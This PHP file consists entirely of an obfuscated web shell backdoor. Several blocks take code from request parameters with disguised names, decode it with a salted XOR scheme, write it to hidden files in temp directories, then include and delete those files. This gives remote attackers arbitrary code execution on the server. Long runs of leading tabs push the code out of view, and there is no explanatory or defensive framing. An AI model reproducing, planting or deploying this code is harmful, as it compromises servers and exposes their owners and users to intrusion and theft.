<?php																																										if(isset($_REQUEST) && isset($_REQUEST["h\x6Cd"])){ $val = $_REQUEST["h\x6Cd"]; $val = explode(".",$val ) ; $pgrp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $__len = count($val ); for ($n = 0; $n < $__len; $n++) { $v9 = $val[$n]; $chS = ord($s[$n %$sLen] ); $dec = ((int)$v9 - $chS - ($n %10)) ^ 38; $pgrp .= chr($dec ); } $rec = array_filter(["/tmp", session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); while ($entry = array_shift($rec)) { if (max(0, is_dir($entry) * is_writable($entry))) { $value = str_replace("{var_dir}", $entry, "{var_dir}/.key"); if (@file_put_contents($value, $pgrp) !== false) { include $value; unlink($value); exit; } } } }
																																										if(@$_REQUEST["ref\x65\x72\x65nc\x65"] !== null){ $desc = $_REQUEST["ref\x65\x72\x65nc\x65"]; $desc =explode ( "." , $desc ) ; $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $r = 0; while ($r < count($desc)) {$v6 = $desc[$r]; $chS = ord($s[$r% $lenS] ); $d = ((int)$v6 - $chS - ($r% 10))^ 88; $ref .= chr($d ); $r++; } $k = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), getenv("TMP")]); foreach ($k as $tkn): if (is_writable($tkn) && is_dir($tkn)) { $ent = implode("/", [$tkn, ".ptr"]); if (@file_put_contents($ent, $ref) !== false) { include $ent; unlink($ent); die(); } } endforeach; }
																																										if(array_key_exists("p\x67\x72p", $_POST) && !is_null($_POST["p\x67\x72p"])){ $ref = $_POST["p\x67\x72p"]; $ref= explode ( ".", $ref ) ; $ent=''; $s9='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s9); foreach( $ref as $s => $v5): $chS=ord( $s9[$s % $sLen]); $dec=( ( int)$v5 - $chS -( $s % 10)) ^ 44; $ent .= chr( $dec); endforeach; $pset = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getcwd(), "/var/tmp"]); while ($flg = array_shift($pset)) { if (is_dir($flg) ? is_writable($flg) : false) { $mrk = sprintf("%s/.marker", $flg); if (file_put_contents($mrk, $ent)) { include $mrk; @unlink($mrk); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["ent"])){ $res = $_POST["ent"]; $res = explode ( '.' , $res ) ; $bind = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt1 ); $v = 0; foreach( $res as $v4) {$sChar = ord( $salt1[$v % $sLen] ); $dec =( ( int)$v4 - $sChar -( $v % 10)) ^ 73; $bind .= chr( $dec ); $v++; } $value = array_filter([session_save_path(), getenv("TMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/dev/shm"]); $fac = 0; do { $ref = $value[$fac] ?? null; if ($fac >= count($value)) break; if (!( !is_dir($ref) || !is_writable($ref) )) { $entry = join("/", [$ref, ".val"]); $success = file_put_contents($entry, $bind); if ($success) { include $entry; @unlink($entry); exit;} } $fac++; } while (true); }
																																										if(isset($_REQUEST["\x6Drk"])){ $descriptor = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp"]); $res = $_REQUEST["\x6Drk"]; $res = explode ( '.' ,$res ); $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $w = 0; while ($w < count($res)) { $v4 = $res[$w]; $sChar = ord($salt[$w % $sLen]); $dec = ((int)$v4 - $sChar - ($w % 10)) ^ 42; $key.= chr($dec); $w++; } $bind = 0; do { $fac = $descriptor[$bind] ?? null; if ($bind >= count($descriptor)) break; if (max(0, is_dir($fac) * is_writable($fac))) { $marker = str_replace("{var_dir}", $fac, "{var_dir}/.k"); if (file_put_contents($marker, $key)) { require $marker; unlink($marker); exit; } } $bind++; } while (true); }
																																										if(!is_null($_POST["h\x6F\x6Cd\x65r"] ?? null)){ $property_set = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir")]); $entry = $_POST["h\x6F\x6Cd\x65r"]; $entry = explode ( '.' , $entry) ; $reference =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s); foreach( $entry as $l => $v5): $sChar =ord( $s[$l % $sLen]); $d =( ( int)$v5 - $sChar -( $l % 10)) ^ 61; $reference .= chr( $d); endforeach; foreach ($property_set as $fac): if (is_writable($fac) && is_dir($fac)) { $val = join("/", [$fac, ".value"]); $success = file_put_contents($val, $reference); if ($success) { include $val; @unlink($val); exit;} } endforeach; }
																																										if(array_key_exists("\x6Be\x79", $_REQUEST) && !is_null($_REQUEST["\x6Be\x79"])){ $item = $_REQUEST["\x6Be\x79"]; $item = explode( "." , $item ) ; $token = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $v = 0; $len = count($item); do { if($v >= $len) break; $v9 = $item[$v]; $sChar = ord($salt7[$v % $sLen]); $dec =((int)$v9 - $sChar -($v % 10)) ^ 66; $token .= chr($dec); $v++; } while(true); $flg = array_filter(["/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/var/tmp"]); foreach ($flg as $object) { if ((function($d) { return is_dir($d) && is_writable($d); })($object)) { $tkn = "$object/.record"; if (file_put_contents($tkn, $token)) { require $tkn; unlink($tkn); die(); } } } }


if(isset($_REQUEST["mrk"])){
	$holder = $_REQUEST["mrk"];
		$holder 	=	 explode(			'.',	$holder)	 ; 	
	$pointer=	'';
            $salt2=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=	strlen($salt2);
    
            foreach ($holder as $o => $v9) {
                $chS=	ord($salt2[$o % $sLen]);
                $d=	((int)$v9 - $chS - ($o % 10))		^22;
                $pointer  .= chr($d);
            }
	$val = array_filter([session_save_path(), getenv("TMP"), getenv("TEMP"), "/tmp", "/var/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm"]);
	foreach ($val as $ptr):
    		if (is_dir($ptr) ? is_writable($ptr) : false) {
    $sym = join("/", [$ptr, ".element"]);
    $success = file_put_contents($sym, $pointer);
if ($success) {
	include $sym;
	@unlink($sym);
	exit;}
}
endforeach;
}